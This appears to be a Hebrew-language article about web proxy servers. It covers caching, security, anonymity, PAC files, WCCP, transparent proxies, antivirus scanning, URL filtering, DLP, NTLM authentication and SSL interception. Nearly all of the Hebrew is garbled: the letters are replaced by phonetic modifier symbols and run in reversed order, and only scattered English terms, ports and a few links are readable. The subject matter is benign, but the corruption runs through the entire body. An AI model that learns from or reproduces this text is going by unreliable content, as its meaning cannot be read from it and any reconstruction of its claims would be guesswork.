˭ˣ˩ˮˣ ˧˸˧ˬ˞ ˭˩ˣ˸ˢ ˫˞ ˫ˠ ˸ˣˮ˧ˬ˞ ˶˯ˣ˥ ˟˵˰ ˣ˪˲˧ .˨ˬ˯ˬ ˪˩ ˱˧˧ˤ˪ˣ ˫ˣ˵ˬ ˪˩˪ ˳ˣ˶˲˪ ˶˷˲˞˷ ˶ˣ˩ˤ˪ ˷˧ ,

˫˧˟˞˷ˬˣ ˭ˬˤ ˪˷ ˢ˪˞˷ ˸˞ˤ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ .˭˩˪ , ˸ˣˮ˧ˬ˞˪ ˶˧˟˯ ˵˲˯ ˪˩ ˶˧˯ˢ˪ ˞ˣˢ ˣˮ˪˷ ˡ˧˵˲˸ˢ

ˡˢ ˢ˧˞˶ˢ ˫˰ ˡ˥˧ ˷˧ˠˢ˪ˣ ˢ˧˞˶ˢˡ˷˥ ˸ˣ˪˰ˢ˪ ˫˧˪ˣ˪˰˷ ˫˧˧˸˟˧˟˯ˢ ˫˧ˮ˸˷ˬˢ ˪˩ ˸˞ ˸˧˪˦˧ˠ˧. 

 

˪ ˢˡˣ˸ˣ˰"˯˵ˣ˲ ˧˲˞ ˡ xˣ˰" ˭˸ˮˣˢ˧ ˡ˶ˠˮ˧˪˵ ˫ˢ˧˸ˣ˶˰ˢ ˪˰. 

 

 

˶˟˥ˬˢ ˪˰ 

 

˭ˢ˩ ˶ˬˣ˰ ˢ˥ˬˣˬ ˞ˣˢ ˰ˡ˧ˬ ˸˥˦˟˞˪ ,˫˧˟˷˥ˬˢ ˫ˣ˥˸˟ ˫˧ˮ˷ ˶˷˰ ˪˰ˬ ˪˷ ˭ˣ˧˯˧ˮ ˪˰˟ . ˫˧ˮ˷˟

 ˡ˧ˠ˞˸ ˶ˣ˟˰ ˡ˟ˣ˰ ˸ˣˮˣ˶˥˞ˢeBay ˧ˬ˪ˣ˰ˢ ,˧ˠˣ˪ˣˮ˩˦ ˶˵˥ˬˣ ˢ˵˧ˤˮ˶ˣ˲˟ ˵˯ˣ˰ , ˭˸ˬˣ ˧˦˲˷ˬ ˧ˠˣ˪ˣˮ˩˦ ˳ˣ˰˧

˦˲˷ˬ ˸˧˟˟ ˢ˥ˬˣˬ ˸ˣ˧ˣˡ˰ . ˭ˣˣˠˬ˟ ˸ˣ˞˴˶ˢ ˶˧˟˰ˬˣ ˫˧ˮˣˠ˶˞ ˶˲˯ˬ˪ ˰ˡ˧ˬ ˸˥˦˟˞ ˳˰ˣ˧˩ ˷ˬ˷ˬ ˱˯ˣˮ˟

˫˧˞˷ˣˮ. 

http://l.omerc.net/fuks
http://l.omerc.net/klinger
http://l.omerc.net/home
http://l.omerc.net/home
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JAVA JAVA, PROXY PROXY 
˸˞ˬ  ˟˶ˣ˥ ˧˰ˣ˶)AGNil( 

 
˶ˣ˶ˡˣ ˧˷ ˪˷ ˵˧˸˰ˢ ˭ˣ˩˶˰ˬˢ ˸˞ ˫˧˶˩ˣˤ ? ˢ˶ˣ˥˟ˢˣ ˫˧˟˷˥ˬ˟ ˢˡˣ˟˰ ˷˲˥ˬˢ ˶ˣ˥˟ ˫˧˞ˣ˶ ˭ˣ˩˶˰ˬ˟

˵˯ˣ˰ ˶ˣ˥˟ˢ ˢˬ˟ ˢˮ˧˟ˬ ˨˩ ˪˩ ˞˪ ˢˡˣ˟˰ˢ ˸˩˷˪˟" .ˢ ˸˞ ˥˵˧˸ ˧˪ˣ˞-JAVA ˟˩˶ ˸ˣ˞ˮˣ˩ˬˢ ˭ˣˣ˧˩˪? ."

˫˴˰˟ ˞ˣˢ ˢˬ ˸˶˟ˠ˪ ˶˧˟˯˧ ˞˪ ˢˤˢ ˶ˬ˞ˬˢˣ ˭˩˸˧ Proxy , ˫˧ˠ˷ˣˬ˟ ˶ˡ˯ ˸˴˵ ˢ˷˰˧ ˦˪˥ˢ˟ ˞ˣˢ ˨˞

ˡ˟˷˪˩ ˨˶ ˪˞˷ˣˮ˪ ˸ˣ˰ˠˣˮˢ ˭ˣ˪˯ ˸ˣ˥˧˷˟ ˫˧˴˴. 

 ˦˶ˣ˲ ˭ˣ˷˪˟ ˥˯ˣˮˬ ˞˟ˢ ˶ˬ˞ˬˢ80 ˸ˣ˥ˣˮ ˧ˬ˰˦ˬ , ˦˶ˣ˲˪ ˫ˠ ˯˥˧˧˸ˬ ˞ˣˢ ˨˞443. 

 

ˢˬˡ˵ˢ 

 

 ˢ˪˧ˬˢ ˸ˣ˰ˬ˷ˬ ˢˬ ˭ˣ˪˧ˬˢ ˸˞ ˪˞˷ˮ ˫˞Proxy  ˢˤ˷ ˯ˣˬ˧ˮ˟ ˣˮ˪ ˶˧˟˯˧ ˞ˣˢ"˥ˣ˩ ˧ˣ˲˧˧" ,"ˠ˧˴ˮ" ,"˥ˣ˩ ˞˟ "

 ˣ˪˧˲˞ ˣ˞"˥˧˪˷" ,˶˟ˡˢ ˨˩ ˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˭˩˞ˣ . ˸˶˷Proxy  ˫˷˟ ˸ˣ˷˵˟ ˸ˠ˴ˢ ˣ˸˶˦ˬ˷ ˸˶˷ ˞ˣˢ

˶˥˞ ˟˷˥ˬ . ˫ˢ˧ˮ˧˟ˬ ˳ˣ˲ˮ˟ ˭˞˩ ˭ˣˡˮ ˣˮ˥ˮ˞ˣ ˫˧ˬˣ˥˸ ˢ˟˶ˢ˟ ˠ˷ˣˬˢ ˸˞ ˷ˣˠ˲˪ ˶˷˲˞ï WEB Proxy ,

 ˸˶ˣ˟˰˸ ˫˰ ˸ˣ˵˯˰˸ˢ ˣ˸˶˦ˬ˷ ˸˶˷HTTP . ˢˤ˩˷ ˸˶˷ ˰ˬ˦ˣˬ ˫ˣ˧ˢ ˫˧ˮˣˠ˶˞ˢ ˟ˣ˶˟) ˢ˟˶ˢ ˫˧ˬ˰˲˪ˣ

˧˶˸ˣ .( ˦ˣ˷˲ ˡˣ˞ˬ ˞ˣˢ ˭ˣ˧˰˶ˢï ˢ ˸ˣ˷˵˟ ˸˞ ˸ˣˠ˧˴ˬ ˢˡˣ˟˰ˢ ˸ˣˮ˥˸-HTTP ˢ ˸˶˷˪ ˫ˢ˪˷-Proxy ,

˦ˮ˧˧˪˵˪ ˢ˟ˣ˷˸ˢ ˸˞ ˣˬ˷˟ ˶˧ˤ˥ˬˣ ˦ˮ˶˦ˮ˧˞ˢ ˶˸˞˪ ˢ˷˵˟ˢ ˸˞ ˠ˧˴ˬ ˣ˸ˮ˧˥˟ˬ ˞ˣˢ: 
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˨˶ˡ˟ ˢˤˢ ˸˶˷ˢ ˸˞ ˨˧˶˴ ˫˴˰˟ ˢˬ˪ ?˫˧˥˧ˣˣ˶ˬ ˣˮ˥ˮ˞ ˢˬ 

 

1. ˸ˣ˶˧ˢˬ ï  ˣ˪˪ˢ ˫˧˸˶˷ˢˬ ˫˧˟˶)ˢ ˸ˣ˧˵˲˯ ˪˴˞ ˡ˥ˣ˧ˬ˟˦ˮ˶˦ˮ˧˞ ( ˧˸ˣ˶˧˷ ˫˧˵˲˯ˬcaching , ˣ˞

 ˢ˥˴ ˸˧˶˟˰˟ï ˭ˣˬ˦ˬ ˭ˣ˶˩˧ˤ . 

 ˶˸˞˪ ˧˸˷˪ˠˣ ˢˡˣ˟˰˪ ˶˵ˣ˟˟ ˫ˣ˧ˢ ˧˸˰ˠˢ˷ ˥˧ˮˮynet.co.il .˶˸˞˪ ˧˸˧ˮ˲ ˶˷˞˩ ,ˢ ˸˶˷-Proxy 

˟ ˣ˪˴˞ ˶ˬ˷-cache ˸ˣˮˣˬ˸ˢ ˸˞ ,˶˸˞ˢˬ ˸ˣˬˣ˯˶˲ˢˣ ˫˧ˮˣ˦˶˯ˢ . ˧ˮ˩˷ ˰˧ˠ˧ ˫˧˧˸˰˷˩ ˡˣ˰˟

 ˶˸˞˪ ˷ˣ˪ˠ˧ ˞ˣˢ ˫ˠˣ ˡ˰˪ˠ ˡ˶˷ˬ˪ynet . ˶˸˞ˢ ˪˵˷ˬ ˸˧˟˶ˬ ˸˞ ˡ˧˶ˣ˧ ˞ˣˢ˷ ˞ˣˢ ˪ˡ˟ˢˢ

˸˷˶˟ ˣ˸˧˞ ˡ˥˧ ˞˴ˬˮ˷ ˸˶˷ˬ , ˪˷ ˯˲ ˟˥ˣ˶˟˷ ˥˧ˮˢ˪ ˶˧˟˯M100 ˸ˣ˥˲˪. 

 

 ˫˧˶ˬˣ˷˷ ˫˧˸˶˷˷ ˭˧˧˴˪ ˟ˣ˷˥caching ˶˸˞ˢ ˪˩ ˸˞ ˫˧˶ˬˣ˷ ˞˪ , ˫˧ˬ˧ˣ˯ˬ ˫˧˦˵˧˧˟ˣ˞ ˵˶ ˞˪˞

˫˧ˡˣˬ˰ˢ ˨ˣ˸ˬ . ˫˧˷˪ ˫˧˷˷ˣ˥ ˫˧˟˶ ˫˧˷ˮ˞caching ˣ˞ˬ˯˧˯ ˸˶˧ˬ˷ ˰ˣˮˬ˪ ˧ˡ˩˟ ˪˷ ˸

 ˫˧˧ˬ˞ˮ˧ˡ ˫˧˶˸˞ˬ ˭˩ˡˣ˰ˬ ˞˪ ˰ˡ˧ˬ ˸˪˟˵ ˣ˞ ˫˧˷ˬ˸˷ˬï  ˸ˣ˶˵˪ ˸ˣ˶ˣˬ˞ ˞˪˷ ˸ˣ˰˲ˣ˸

 ˸˶˷ ˪˷ ˢˮ˧˵˸ ˸ˣ˪˧˰˲˟Cache. 

 

2. ˢ˥˦˟˞ ï ˢ ˸˶˷˷ ˧˸˥˦˟˞ˢ ˭˲ˢ ˞ˣˢ ˣ˟ ˵˯˰˸ˮ˷ ˧˶˵˧˰ˢ ˵˪˥ˢ˷ ˭˟ˣˬ˩-proxy ˣˮ˪ ˵˲˯ˬ .

 ˸˶˷ ˫˧˰˧ˬ˦ˬ˷ ˫˧ˮˣˠ˶˞ˢ ˸˧˟˶ˬProxy ˪˷˟ ˭ˣˠ˶˞ˢ ˸ˣˮ˥˸ˬ ˢ˷˧˪ˠˢ ˸˞ ˶ˣˠ˯˪ ˫˧˦ˣˮ ˟

ˢ ˸˶˷ ˨˶ˡ ˶ˣ˟˰˪ ˸˟˧˧˥ ˦ˮ˶˦ˮ˧˞˪ ˸˷ˠ˪ ˢ˴ˣ˶˷ ˢˮ˥˸ ˪˩ ˣ˟ ˟˴ˬ ˫˧˲ˣ˩ ˨˩˟ˣ ˭˩ˬ ˶˥˞˪˷-

Proxy . ˸˞ ˫ˣ˯˥˪ ˦ˣ˷˲ ˞˧ˢ ˢˤ˩˷ ˨˪ˢˬ ˰˴˟˪ ˸˥˞ ˨˶ˡPORT 80 ˟ ˫˪ˣ˰ˢ ˭ˣˣ˧˩˪-FW .˭ˣ˩ˮ ,

˸ˣ˪˵˟ ˧ˡ ˢ˲˧˵˰ ˨˶ˡ˟ ˶˟ˣˡˬ ,˰˴ˣˬˬˢ ˷ˬ˸˷ˬˢ ˶ˣ˟˰ ˵˧˲˯ˬ ˪˪˩ ˨˶ˡ˟ ˢˤ ˪˟˞ . 

 

 ˸ˣˮ˥˸ˢ˷ ˨˩˪ ˣˮˬ˶ˠ˷ ˶˥˞˪ˢ ˸˶˷ ˨˶ˡ ˣ˷˪ˠ˧-Proxy ,ˢˬ˴˰ ˢ˶ˣ˟˰˸˟ ˪˲˦˪ ˪˧˥˸ˢ˪ ˶˷˲˞ .

ˢˬˠˣˡ˪: 

¶ ˧˦ˮ˞ ˸˵˧˶˯ ˶ˣ˟˰˸ ˢ˷˧˪ˠˢ˷ ˠˣ˞ˡ˪-˯ˣ˶˧ˣ. 

¶ ˫˧˵˲˵ˣ˲ˬ ˫˧˶˸˞˪ ˣ˷˪ˠ˧ ˞˪ ˫˧˷ˮ˞˷ ˠˣ˞ˡ˪. 

¶ ˫˧˷˪ˣˠ ˫˧˷ˬ˸˷ˬˢ ˫˧˶˸˞ ˢˤ˧˞˟ ˭ˮˣ˟˸ˢ˪ˣ ˶˦ˮ˪. 

 

 ˦ˮ˶˦ˮ˧˞ˢ ˫˪ˣ˰ ˧ˮ˲ˬ ˢˮˠˢ ˸˲˯ˣ˸ ˭˞˩ ˫˧˪˟˵ˬ ˣˮ˞)˷˪˩ˢ ˨˯˟ ˪˩ˣ˞ˬˣ ˵˧ˤˬ ˞˪ ˞ˣˢ˰ ˯˧ˡ˧ ˪ 

ˡ˟˪˟ ˸ˣ˟ˣ˦ ˸ˣˮˣˣ˩ ˫˰ ˫˧˷ˮ˞ (ˣ˫˧˰˧˧˯ˬ ˢˬ˩˥ ˢ˶ˣ˴˟ ˷ˣ˪ˠ˪ ˫˧ˡ˟ˣ˰˪ ˸ˣ˰˴ˬ˞˟ ˷ ˸˪˰˲ˢ˧ ˪ˣ˵

ˢ˫ˬˣ˵ˬ˟ ˸˰ˡ. 
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3. ˸ˣˬ˧˞ ï  ˸˶˷ ˸ˬ˷ˢ ˸ˣ˰˴ˬ˞˟Proxy  ˫˧˷ˬ˸˷ˬ ˣ˪˧˞ ˪˷ ˢ˶ˣ˶˟ˣ ˢ˲˧ ˟˴ˬ ˸ˮˣˬ˸ ˪˟˵˪ ˭˸˧ˮ

˭˞˪ ˫˧˷˪ˣˠ ,˫˧˧˶˞˪ˣ˲ˣ˲ˢ ˫˧˶˸˞ˢ ˢˬ , ˯˲ ˟˥ˣ˶ˢ ˨˪ˣˢ ˢˬ ˪˰ ˣ˪˧˲˞ˣï ˢ˷ ˫˧ˮˣ˸ˮ ˶˸ˣ˧ ˢ˟˶

 ˸˶˷ ˞˪˪ ˥˸ˮ˪ ˢ˷˵Proxy ) ˸ˣ˟ˣ˸˩IP ˸ˣ˧ˬ˞ˮ˧ˡ.( 

 

 ˨˧˞ ˤ˞"˫˧˥˧˶˩ˬ " ˨˶ˡ ˶ˣ˟˰˪ ˫˧˷ˬ˸˷ˬProxy? 

 

ˣ˸ˮ˵˸ˢˣ ˟ˣ˷˥ ˸˶˷˟ ˶˟ˣˡˬ˷ ˢˬˮ˲ˢˢ ˧˶˥˞ ˞˟ˢ ˟˪˷ˢ ,ˣ˩˶ˡ ˷ˣ˪ˠ˪ ˫˧˷ˬ˸˷ˬ˪ ˫ˣ˶ˠ˪ ˞ˣˢ . ˧ˮ˞

˶˴ˣˬ ˪˷ ˢˮ˵˸ˢ˟ ˞˪ˣ ˞˷ˣˮˢ ˪˷ ˢˮ˟ˢ˟ ˵˯ˣ˰ ˶ˬ˞ˬˢ ˧˩ ˢˮ˵˸ˢˢ ˟˪˷ ˪˰ ˸ˣ˧˦ˮˠ˪˞˟ ˠ˪ˡˬ  ˣ˞ ˢˤ˩

˶˥˞ . ˢ˴ˣ˶ ˢ˶˵ˬ ˪˩˟˷ ˧ˬ˷ ˡ˧ˠ˞ˣ ˢˮ˦˵ ˢˠ˧˶˥ ˭˧˧˴˞"˵˥˷˪ "ˢˤ˩˷ ˸˶˷ ˫˰ , ˦ˮ˶˦ˮ˧˞˟ ˦˟ˬ ˱˧˰˧˷

 ˪˰Squid-  ˸˶˷Proxy ˥ˣ˸˲ ˡˣ˵˟ ,ˡˣ˞ˬ ˳ˣ˲ˮ˷ ,˷ˣˬ˧˷˪ ˡˣ˞ˬ ˥ˣˮ , ˢˬ˶˟ ˪ˠ˶ˣˡ˩ ˸ˣ˞˴ˣ˸ ˞˟ˮ˪ ˰ˡˣ˧ˣ

ˡˣ˞ˬ ˢˢˣ˟ˠ. 

 

ˢ ˪˞ ˢ˶ˣ˟˰˸ˢ ˸˸˯ˢ˪ ˸ˣ˴ˣ˲ˮˢ ˸ˣ˦˧˷ˢ-Proxy ˭ˬ˵˪ˡ˩ ˭ˢ: 

 

1.  ˳˟ˣ˵PAC ï  ˳˟ˣ˵JS  ˭˲ˡ˲ˡˢ ˸˞ ˸ˣˮ˲ˢ˪ ˰ˡˣ˧ˢ ˭˦˵)IE (ˢ ˭ˣˣ˧˩˪-Proxy . ˳˟ˣ˵ ˣ˸ˣ˧ˢJS  ˶˷˲˞ˬ

˟ˣ˸˧ˮ˟ ˢˢˣ˟ˠ ˸ˣ˷˧ˬˠ , ˢˢˣ˟ˠ ˸ˣ˶˧˸˧ˣ ˫˧˯ˬˣ˰ ˭ˣˤ˧˞ ˪˷ ˸ˣ˶˷˲˞ ˭ˣˠ˩) ˸ˣ˶˧˸˧ = ˢ˲˧ ˢ˪˧ˬ

ˢ˪˧ˬ˪ ˸˧˶˟˰˟redundancy  ˤ˰˪˟ .(˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˭˲ˡ˲ˡˢ ˪˰ ˸ˣ˲˩˪ ˭˸˧ˮ ˳˟ˣ˵ˢ ˸˞-GPO .

˪ˣˡˠˢ ˭ˣ˶˯˧˥ˢ ˶˸ˣ˧ ˫˧˧˸ˣ˩˧˞ˢ ˫˧ˮ˲ˡ˲ˡ˟ ˢ˦˧˪˷ˢ ˸˪ˣ˩˧ ˶˯ˣ˥ ˞ˣˢ ˸˞ˤ ˢ˦˧˷˟)firefox ,

chrome ,wget ˣ˩ˣ'.( 

 

2. http_mapped ï  ˫ˣ˧˩ ˢ˟ ˫˧˪˵˸ˮ ˸ˣ˥˲ˣ ˶˟˰˟ ˢ˴ˣ˲ˮ ˢ˸˧˧ˢ˷ ˢ˦˧˷ .ˢ˷ ˰ˠ˶˟˷ ˞ˣˢ ˭ˣ˧˰˶ˢ-

Firewall  ˦˶ˣ˲˟ ˦ˮ˶˦ˮ˧˞˪ ˢ˴ˣ˥ˢ ˢ˧ˮ˲ ˢˢˤˬ80 ,ˢ ˸˶˷˪ ˢ˸ˣ˞ ˟˸ˮˬ ˞ˣˢ-Proxy ˫ˣ˵ˬ˟ .

ˡˮ ˧ˡ ˢ˦˧˷ˢ˫˧ˮˣˠ˶˞˟ ˫ˣ˧ˢ ˢ˶˧ ,ˢ˸ˣ˞ ˢ˲˧˪˥ˢ ˧ˡ ˢ˞˟ˢ ˢ˦˧˷ˢ˷ ˫ˣ˷ˬ ˧˪ˣ˞. 

 

 

3. WCCP ï ˣ˵˯˧˯ ˸˧˟ˬ ˟ˣ˸˧ˮ ˪ˣ˵ˣ˦ˣ˶˲ ,˸ˣ˶˥˸ˬˢ ˸ˣ˶˟˥˪ ˫ˠ ˫˧ˮ˷ˢ ˫˰ ˠ˪ˤ ˶˷˞ , ˣ˸˶˦ˬ˷

˟ ˢ˶ˣ˟˰˸ˢ ˟ˣ˸˧ˮ-L2  ˣ˞L3  ˸˶˷ ˭ˣˣ˧˩˪Proxy .˸ˣ˪ˬ˯ˬ ˫˷˟ ˸ˣ˧˸ˣ˞ˢweb caching 

communication protocol .ˢˤˬ ˶˸ˣ˧ ˪˧˰˧ ˪ˣ˵ˣ˦ˣ˶˲ˢ  ˣ˩ˣ˸˟ ˪˪ˣ˩ ˞ˣˢ ˧˩ ˫ˡˣ˵ˢ ˱˧˰˯˟ ˶˩ˤˣˢ˷

˫˧ˮ˟ˣˬ ˸ˣˡ˧˶˷ˣ ˸ˣ˶˧˸˧ ˧ˮˣˮˠˮˬ. 
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4. Transparent Proxy ï ˫ˣ˧˩ ˫˧ˮˣˠ˶˞˟ ˡˣ˞ˬ ˢ˴ˣ˲ˮ ˢ˶ˣ˴˸ .˸˶˷ˢ ˨˶ˡ ˸˧ˤ˧˲ ˢ˶ˣ˟˰˸ˢ ˟ˣ˸˧ˮ ,

˩ ˟˷˧˧ ˪˪˩ ˨˶ˡ˟˷-Bridge . ˥ˣˮ˧ˬ˪ ˢˮˣ˰ ˵ˣ˧ˡ˟ ˞˪ ˢ˶ˣ˴˸ˢ ˫ˮˬ˞Proxy , ˢ˷˵˟ˢˣ ˸ˣ˧ˢ

 ˶˸˞˪ ˦ˮ˧˧˪˵ˢ ˭˧˟ ˸˰˴˟˸ˬï ˞ˢ ˧˸˶˷˪ ˣˬ˩ ˸ˣ˪ˣ˩˧ˢ ˭˸ˣ˞ ˸˞ ˣ˪˞ ˫˧˸˶˷˪ ˷˧ ˟ˣ˶˪ ˨-Proxy 

˫˧˶˥˞ˢ. 

 

˫˧ˡ˟ˣ˰ ˫˧ˮˣ˷ˢ ˫˧ˮˣˮˠˮˬˢ ˨˧˞? 

 

˶˩ˤˣˢ˷ ˧˲˩ ,ˢ ˸˶ˣ˟˰˸ ˪˰ ˶ˣ˟˰˪ ˫˧˪ˣ˩˧˷ ˫˧˩˧˪ˢ˸ ˢˬ˩ˣ ˢˬ˩ ˫ˮ˷˧-HTTP . ˫˧ˮˣ˷ ˫ˮˬ˞ ˣ˪˞ ˫˧ˮˣˮˠˮˬ

˶˴ˣˬ˪ ˶˴ˣˬˬ ,ˢˬˣˡ ˶˞˷ˮ ˧˪˪˩ˢ ˭ˣ˧˰˶ˢ ˫˧˶˵ˬˢ ˟ˣ˶˟ ˨˞: 

 

¶  ˸˵˧˶˯Anti Virus ï ˢ ˪˷ ˸ˣ˪ˣˡˠˢ ˸ˣˬˣ˶˸ˢ ˸˥˞-Proxy ,˶ˣ˩ˤ˩ , ˭ˣˮ˧˯ ˸˪ˣ˩˧ ˞˧ˢ

˫˧˵˧ˤˬ ˧ˮ˲ˬ ˰˧ˠˬˢ ˭˩ˣ˸ˢ .˶˸˞ˢˬ ˳˟ˣ˵ ˡ˧˶ˣˬ ˷ˬ˸˷ˬˢ ˶˷˞˩ ,ˢ ˸˶˷-Proxy  ˵˶ˣ˯

ˢ ˸ˣˬ˧˸˥ ˪ˣˬ ˪˞ ˣ˸ˣ˞ ˵ˡˣ˟ˣ ˢˡ˶ˣˢˢ ˭˩ˣ˸ ˸˞-AV . ˪˷ ˫˧˶˩ˣˬ ˫˧˰ˣˮˬ ˫˸ˣ˞Anti 

Virus ˢ ˸ˬ˶˟ ˫˧˵˶ˣ˯˷ ˣ˪˞ ˫ˢ ˢˡˣ˟˰ˢ ˸ˣˮ˥˸ˬ-Proxy .ˣˬ ˫ˮ˷˧ ˫˧˲˧ˡ˰ˬ˷ ˫˧˶˴

˷ˬ˸˷ˬ˪ ˣ˸ˣ˞ ˶˧˟˰ˢ˪ ˭˩ˬ ˶˥˞˪ˣ ˢ˵˧˶˯ˢ ˸˶˷ ˪˞ ˣ˪ˣ˩ ˳˟ˣ˵ˢ ˭˩ˣ˸ ˸˞ ˡ˧˶ˣˢ˪ ,

 ˶ˣ˟˰˪ ˪˧˥˸ˬ ˢ˵˧˶˯ ˶˟˰˷ ˵˪˥ ˪˩ˣ ˫˧˵˪˥˪ ˳˟ˣ˵ˢ ˸˞ ˫˧˵˪˥ˬ˷ ˢ˪˞˩ ˫ˮ˷˧ˣ

˷ˬ˸˷ˬ˪ .˟ ˫˧˷ˬ˸˷ˬ ˢ˪˞ ˫˧˶˴ˣˬ-trickling )˰ˡ˧ˬˢ ˱ˣ˦˲˦ ( ˪˰ ˶ˣˬ˷˪ ˸ˮˬ ˪˰

˷ˬ˸˷ˬˢ ˸ˮ˧˥˟ˬ ˸ˣ˲˧˵˷. 

 

¶ URL Filtering ï  ˶ˣ˥˯˪ ˣ˞ ˡ˶˷ˬ˟ ˫ˣ˧ˢ ˪˩ ˶˵ˣ˲ ˵˥˷˪ ˫˧˷ˬ˸˷ˬˢˬ ˰ˣˮˬ˪ ˧ˡ˩˟

ˢ˶˟˥ˢ ˧ˬˣ˥˸ˬ ˵˷ˮ˟ ,˦ˮ˶˦ˮ˧˞ˢ ˸˞ ˫˧ˠ˪˦˵ˬ˷ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ˟ ˷ˣˬ˧˷ ˢ˷˰ˮ . ˢˤ

˦ˮ˶˦ˮ˧˞˟ ˫˧˶˸˞ˢ ˪˩ ˸˞ ˠ˪˦˵˪ ˸ˣ˯ˮ˪ ˨˶˲ˣˬ ˸˴˵ ˰ˬ˷ˮ , ˸ˣ˥ˬ˸ˬ˷ ˸ˣ˶˟˥ ˭ˮ˷˧ ˨˞

˪˷ˬ˪ ˥˸˲ˬ ˸ˣ˪˧ˬ˪ ˫˞˸ˢ˟ ˸˧˦ˬˣ˦ˣ˞ ˢ˶ˣ˴˟ ˢ˷˰ˮ ˟ˣ˶ˢˣ ˞˷ˣˮ˟ .ˣ˧˩ˬ ˡ˯ˬ ˷˧˷ ˭ˣ

˦ˮ˶˦ˮ˧˞ˢ ˧˶˸˞ ˪˩ ˪˷ ˸˶˥˞ ˣ˞ ˣˤ˩ ˢˬ˶˟ ˠˣ˪˦˵ ˪˪ˣ˩ˢ ˫˧ˮˣ˸ˮ , ˸ˣ˧ˮ˧ˡˬ ˱ˣ˩˞˪ ˭˸˧ˮ

ˢˬˠˣˡ˪ ˣˮ˶ˣ˲ ˧˶˸˞˪ ˢ˷˧˪ˠ ˪˰ ˸˶˯ˣ˞ˢ . 

 

¶ DLP ï ˭ˣˠ˶˞ˢˬ ˰ˡ˧ˬ ˸ˠ˧˪ˤ ˸˰˧ˮˬ .˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷˟ ˵ˤ˥˸ˬ˷ ˞˷ˣˮ , ˸˪ˣ˩˧ ˵˲˯ˬˣ

˸ ˧˶˲˯ˬ ˭ˣˠ˩ ˷˧ˠ˶ ˭˩ˣ˸ ˧˪˰˟ ˫˧˴˟˵ ˪˷ ˸˷˶˪ ˢ˞˪˰ˢ ˰ˣˮˬ˪.ʕ ,ˣ˲˥ˣ˦˧˟ ˸ˣ˯˧˪ , ˸ˣ˶ˣ˵

ˡ˩ˣ ˫˧˧˥ˢˬˣ . ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ ˪˞ˣ ˷˞˶ˬ ˸ˣ˰ˣˡ˧ ˸ˣ˧ˮ˟˸ ˪ˣˬ ˪˞ ˫˧ˣˣ˷ˣˬ ˫˧˪˰ˣˬ˷ ˫˧˴˟˵ˢ

˫˧˧ˮˣˠ˶˞,  ˞ˡˣˣ˪ ˧ˡ˩˟ ˧˩˧ˬ˧ˮ˲ ˰ˡ˧ˬ ˫˧˪˧˩ˬ ˞˪ ˫˧˴˟˵ˢ. 
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¶ Authentication ï ˰ ˸ˣ˧ˮ˧ˡˬ ˪ˢˮ˪ ˧ˡ˩˟˷ ˭ˣˣ˧˩ˬ"˫˧˷ˬ˸˷ˬ ˟ , ˸ˮˣˬ˸ ˸˪˟˵˪ ˧ˡ˩˟ˣ

˷˪ˣˠ ˫˧˷ˬ˸˷ˬˢˬ ˧ˬ ˪˷ ˸˧˸˧ˬ˞ ˟˴ˬ  ˭˞˪ï ˟ ˸˶˷ ˪ˣˬ ˸ˣˢˡˤˢ ˰˴˟˪ ˨˧˶˴-Proxy. 

ˮ˷˧ ˭˸ˣˢˡˤˢˢ ˰ˣ˴˧˟˪ ˸ˣ˷˧ˠ ˢˬ˩,  ˶˷˞˩˟ ˷ˣˬ˧˷ ˞˧ˢ ˶˸ˣ˧˟ ˢ˪˧˰˧ˢˣ ˶˸ˣ˧˟ ˢ˴ˣ˲ˮˢ-

NTLM ˷ˬ˸˷ˬˢ ˫˷ ˸˞ ˸ˣ˪ˠ˪ ˸ˮˬ ˪˰ . ˸˟ˣ˸˩ ˪˷ ˧ˣ˲˧ˬ ˸˪˪ˣ˩ ˸˲˯ˣˮ ˢ˦˧˷IP  ˫˷˪

˟ ˷ˬ˸˷ˬ-Login ,ˢ ˪ˣˬ ˢ˶˧˷˧ ˸ˣˢˡˤˢ ˣ˞-Proxy. 

 

 

 

˸˶ˣ˟˰˸ ˫˰ ˫˧ˡˡˣˬ˸ˬ ˨˧˞ SSL ? 

 

 ˸˶ˣ˟˰˸˪ ˫˷˲ˮ ˸ˣˣ˞˩ ˣ˸˸ˣ˴˧ ˞˪ ˫˧˷ˮ˞˷ ˧ˡ˩˟HTTP , ˪ˣ˵ˣ˦ˣ˶˲ ˢˮˣˬ˸˪ ˯ˮ˩ˣˢHTTPS . ˸˶˦ˬ

˸˥˦˟ˣ˞ˬ ˞˪ ˸˶ˣ˷˵˸ ˪˰ ˳˶˷ ˥˦˟ˣ˞ˬ ˨ˣˣ˸ ˸˶˧˴˧ ˞˧ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ . ˶˸ˣ˧ ˸ˣ˦ˣ˷˲ ˫˧˪˧ˬ˟ï  ˸˶ˣ˟˰˸

HTTP ˸ˮ˲˴ˣˬ ˢ˶ˣ˴˟ .˸ˮ˲˴ˣˬ ˢ˶ˣ˟˰˸ˢ˷ ˫ˣ˷ˬ ,ˢ ˧˸˶˷-Proxy ˰˷ ˰ˡ˧ˬˢ ˸˞ ˸ˣ˞˶˪ ˫˧˪ˣ˩˧ ˞˪ ˶˟ˣ

˭˩ˣ˸ˢ ˪˷ ˠˣ˪˦˵ ˣ˞ ˢ˵˧˶˯ ˰˴˟˪ ˫˧˪ˠˣ˯ˬ ˫ˮ˧˞ˣ ˦ˮ˶˦ˮ˧˞ˢ ˸˶˷ ˭˧˟˪ ˢˮ˥˸ˢ ˭˧˟ . ˢ˴ˣ˲ˮˢ ˨˶ˡˢ

 ˸˞˶˵ˮ ˣˤ ˢ˧˰˟ ˫˰ ˸ˣˡˡˣˬ˸ˢ˪SSL Termination . ˸ˣ˲˵˸ˢ˪ ˢˬˣˡ ˡˣ˞ˬ ˢ˶ˣ˴˟man in the middle ,

ˢ ˸˶˷-Proxy ˢ ˸˞ ˨ˣ˸˥˧-session ˭˲˴ˣˬˢ ,˦ˮ˧˧˪˵˪ ˣ˸ˣ˞ ˶˧ˤ˥˧ ˭˩ˬ ˶˥˞˪ˣ ˱ˡˢ ˸˞ ˡ˟˰˧ . ˢˤ ˨˧˞

